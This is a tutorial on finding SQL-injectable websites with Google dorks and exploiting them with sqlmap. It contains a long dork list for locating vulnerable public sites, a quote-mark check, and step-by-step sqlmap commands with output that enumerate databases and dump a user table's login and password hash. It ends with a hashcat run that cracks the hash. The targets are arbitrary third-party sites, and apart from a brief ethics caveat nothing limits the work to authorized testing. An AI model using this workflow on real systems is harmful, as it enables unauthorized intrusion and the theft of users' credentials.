What is SQLMAP
sqlmap
is an open source penetration testing tool that automates the process
of detecting and exploiting SQL injection flaws and taking over of
database servers. It comes with a powerful detection engine, many niche
features for the ultimate penetration tester and a broad range of
switches lasting from database fingerprinting, over data fetching from
the database, to accessing the underlying file system and executing
commands on the operating system via out-of-band connections.
Features
- Full
support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database
management systems.
- Full support for six SQL injection
techniques: boolean-based blind, time-based blind, error-based, UNION
query, stacked queries and out-of-band.
- Support to directly
connect to the database without passing via a SQL injection, by
providing DBMS credentials, IP address, port and database name.
- Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
- Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
- Support
to dump database tables entirely, a range of entries or specific
columns as per user’s choice. The user can also choose to dump only a
range of characters from each column’s entry.
- Support to search
for specific database names, specific tables across all databases or
specific columns across all databases’ tables. This is useful, for
instance, to identify tables containing custom application credentials
where relevant columns’ names contain string like name and pass.
- Support
to download and upload any file from the database server underlying
file system when the database software is MySQL, PostgreSQL or Microsoft
SQL Server.
- Support to execute arbitrary commands and retrieve
their standard output on the database server underlying operating system
when the database software is MySQL, PostgreSQL or Microsoft SQL
Server.
- Support to establish an out-of-band stateful TCP
connection between the attacker machine and the database server
underlying operating system. This channel can be an interactive command
prompt, a Meterpreter session or a graphical user interface (VNC)
session as per user’s choice.
- Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.
[Source: www.sqlmap.org]Be
considerate to the user who spends time and effort to put up a website
and possibly depends on it to make his days end. Your actions might
impact someone is a way you never wished for. I think I can’t make it
anymore clearer.
Step 1: Find a Vulnerable Website
This
is usually the toughest bit and takes longer than any other steps.
Those who know how to use Google Dorks knows this already, but in case
you don’t I have put together a number of strings that you can search in
Google. Just copy paste any of the lines in Google and Google will show
you a number of search results.
Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website
This
list a really long.. Took me a long time to collect them. If you know
SQL, then you can add more here.. Put them in comment section and I will
add them here.
| Google Dork string Column 1 | Google Dork string Column 2 | Google Dork string Column 3 |
| inurl:item_id= | inurl:review.php?id= | inurl:hosting_info.php?id= |
| inurl:newsid= | inurl:iniziativa.php?in= | inurl:gallery.php?id= |
| inurl:trainers.php?id= | inurl:curriculum.php?id= | inurl:rub.php?idr= |
| inurl:news-full.php?id= | inurl:labels.php?id= | inurl:view_faq.php?id= |
| inurl:news_display.php?getid= | inurl:story.php?id= | inurl:artikelinfo.php?id= |
| inurl:index2.php?option= | inurl:look.php?ID= | inurl:detail.php?ID= |
| inurl:readnews.php?id= | inurl:newsone.php?id= | inurl:index.php?= |
| inurl:top10.php?cat= | inurl:aboutbook.php?id= | inurl:profile_view.php?id= |
| inurl:newsone.php?id= | inurl:material.php?id= | inurl:category.php?id= |
| inurl:event.php?id= | inurl:opinions.php?id= | inurl:publications.php?id= |
| inurl:product-item.php?id= | inurl:announce.php?id= | inurl:fellows.php?id= |
| inurl:sql.php?id= | inurl:rub.php?idr= | inurl:downloads_info.php?id= |
| inurl:index.php?catid= | inurl:galeri_info.php?l= | inurl:prod_info.php?id= |
| inurl:news.php?catid= | inurl:tekst.php?idt= | inurl:shop.php?do=part&id= |
| inurl:index.php?id= | inurl:newscat.php?id= | inurl:productinfo.php?id= |
| inurl:news.php?id= | inurl:newsticker_info.php?idn= | inurl:collectionitem.php?id= |
| inurl:index.php?id= | inurl:rubrika.php?idr= | inurl:band_info.php?id= |
| inurl:trainers.php?id= | inurl:rubp.php?idr= | inurl:product.php?id= |
| inurl:buy.php?category= | inurl:offer.php?idf= | inurl:releases.php?id= |
| inurl:article.php?ID= | inurl:art.php?idm= | inurl:ray.php?id= |
| inurl:play_old.php?id= | inurl:title.php?id= | inurl:produit.php?id= |
| inurl:declaration_more.php?decl_id= | inurl:news_view.php?id= | inurl:pop.php?id= |
| inurl:pageid= | inurl:select_biblio.php?id= | inurl:shopping.php?id= |
| inurl:games.php?id= | inurl:humor.php?id= | inurl:productdetail.php?id= |
| inurl:page.php?file= | inurl:aboutbook.php?id= | inurl:post.php?id= |
| inurl:newsDetail.php?id= | inurl:ogl_inet.php?ogl_id= | inurl:viewshowdetail.php?id= |
| inurl:gallery.php?id= | inurl:fiche_spectacle.php?id= | inurl:clubpage.php?id= |
| inurl:article.php?id= | inurl:communique_detail.php?id= | inurl:memberInfo.php?id= |
| inurl:show.php?id= | inurl:sem.php3?id= | inurl:section.php?id= |
| inurl:staff_id= | inurl:kategorie.php4?id= | inurl:theme.php?id= |
| inurl:newsitem.php?num= | inurl:news.php?id= | inurl:page.php?id= |
| inurl:readnews.php?id= | inurl:index.php?id= | inurl:shredder-categories.php?id= |
| inurl:top10.php?cat= | inurl:faq2.php?id= | inurl:tradeCategory.php?id= |
| inurl:historialeer.php?num= | inurl:show_an.php?id= | inurl:product_ranges_view.php?ID= |
| inurl:reagir.php?num= | inurl:preview.php?id= | inurl:shop_category.php?id= |
| inurl:Stray-Questions-View.php?num= | inurl:loadpsb.php?id= | inurl:transcript.php?id= |
| inurl:forum_bds.php?num= | inurl:opinions.php?id= | inurl:channel_id= |
| inurl:game.php?id= | inurl:spr.php?id= | inurl:aboutbook.php?id= |
| inurl:view_product.php?id= | inurl:pages.php?id= | inurl:preview.php?id= |
| inurl:newsone.php?id= | inurl:announce.php?id= | inurl:loadpsb.php?id= |
| inurl:sw_comment.php?id= | inurl:clanek.php4?id= | inurl:pages.php?id= |
| inurl:news.php?id= | inurl:participant.php?id= |
|
| inurl:avd_start.php?avd= | inurl:download.php?id= |
|
| inurl:event.php?id= | inurl:main.php?id= |
|
| inurl:product-item.php?id= | inurl:review.php?id= |
|
| inurl:sql.php?id= | inurl:chappies.php?id= |
|
| inurl:material.php?id= | inurl:read.php?id= |
|
| inurl:clanek.php4?id= | inurl:prod_detail.php?id= |
|
| inurl:announce.php?id= | inurl:viewphoto.php?id= |
|
| inurl:chappies.php?id= | inurl:article.php?id= |
|
| inurl:read.php?id= | inurl:person.php?id= |
|
| inurl:viewapp.php?id= | inurl:productinfo.php?id= |
|
| inurl:viewphoto.php?id= | inurl:showimg.php?id= |
|
| inurl:rub.php?idr= | inurl:view.php?id= |
|
| inurl:galeri_info.php?l= | inurl:website.php?id= |
|
Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection
For
every string show above, you will get huundreds of search results. How
do you know which is really vulnerable to SQLMAP SQL Injection. There’s
multiple ways and I am sure people would argue which one is best but to
me the following is the simplest and most conclusive.
Let’s say you searched using this string
inurl:item_id= and one of the search result shows a website like this:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
Just add a single quotation mark
' at the end of the URL. (Just to ensure,
" is a double quotation mark and
' is a single quotation mark).
So now your URL will become like this:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'
If
the page returns an SQL error, the page is vulnerable to SQLMAP SQL
Injection. If it loads or redirect you to a different page, move on to
the next site in your Google search results page.
See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.

Examples of SQLi Errors from Different Databases and Languages
Microsoft SQL Server
Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
Description:
An unhanded exception occurred during the execution of the current web
request. Please review the stack trace for more information about the
error where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.
MySQL Errors
Warning:
mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/myawesomestore.com/buystuff.php on line 12
Error:
You have an error in your SQL syntax: check the manual that corresponds
to your MySQL server version for the right syntax to use near ‘’’ at
line 12
Oracle Errors
java.sql.SQLException:
ORA-00933: SQL command not properly ended at
oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at
oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
PostgreSQL Errors
Query failed: ERROR: unterminated quoted string at or near “‘’’”
Step 2: List DBMS databases using SQLMAP SQL Injection
As
you can see from the screenshot above, I’ve found a SQLMAP SQL
Injection vulnerable website. Now I need to list all the databases in
that Vulnerable database. (this is also called enumerating number of
columns). As I am using SQLMAP, it will also tell me which one is
vulnerable.
Run the following command on your vulnerable website with.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs
In here:
sqlmap = Name of sqlmap binary file
-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)
--dbs = Enumerate DBMS databases
See screenshot below.

This commands reveals quite a few interesting info:
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: sqldummywebsite
[10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.sqldummywebsite.com'
So, we now have two database that we can look into.
information_schema is a standard database for almost every MYSQL database. So our interest would be on
sqldummywebsite database.
Step 3: List tables of target database using SQLMAP SQL Injection
Now we need to know how many tables this
sqldummywebsite database got and what are their names. To find out that information, use the following command:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables
Sweet, this database got 8 tables.
[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info

and of course we want to check whats inside
user_info table using SQLMAP SQL Injection as that table probably contains username and passwords.
Step 4: List columns on target table of selected database using SQLMAP SQL Injection
Now we need to list all the columns on target table
user_info of
sqldummywebsite database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns
This returns 5 entries from target table
user_info of
sqldummywebsite database.
[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)
AHA! This is exactly what we are looking for … target table
user_login and
user_password .
Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection
SQLMAP SQL Injection makes is Easy! Just run the following command again:
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump
Guess what, we now have the username from the database:
[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes

Almost there, we now only need the password to for this user.. Next shows just that..
Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection
You’re
probably getting used to on how to use SQLMAP SQL Injection tool. Use
the following command to extract password for the user.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump
TADA!! We have password.
[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

But
hang on, this password looks funny. This can’t be someone’s password..
Someone who leaves their website vulnerable like that just can’t have a
password like that.
That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.
I have covered how to decrypt password extensively on this
Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux post. If you’ve missed it, you’re missing out a lot.
I will cover it in short here but you should really learn how to use hashcat.
Step 7: Cracking password
So the hashed password is
24iYBc17xK0e. . How do you know what type of hash is that?
Step 7.a: Identify Hash type
Luckily,
Kali Linux provides a nice tool and we can use that to identify which
type of hash is this. In command line type in the following command and
on prompt paste the hash value:
hash-identifier

Excellent. So this is DES(Unix) hash.
Step 7.b: Crack HASH using cudahashcat
First of all I need to know which code to use for DES hashes. So let’s check that:
cudahashcat --help | grep DES

So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.
I
am running a Computer thats got NVIDIA Graphics card. That means I will
be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so
I will be using oclHashcat on my laptop. If you’re on VirtualBox or
VMWare, neither cudahashcat nor oclhashcat will work. You must install
Kali in either a persisitent USB or in Hard Disk. Instructions are in
the website, search around.
I saved the hash value
24iYBc17xK0e. in
DES.hash file. Following is the command I am running:
cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

Interesting
find: Usuaul Hashcat was unable to determine the code for DES hash.
(not in it’s help menu). Howeverm both cudaHashcat and oclHashcat found
and cracked the key.
Anyhow, so here’s the cracked password: abc123.
24iYBc17xK0e.:abc123
Sweet, we now even have the password for this user.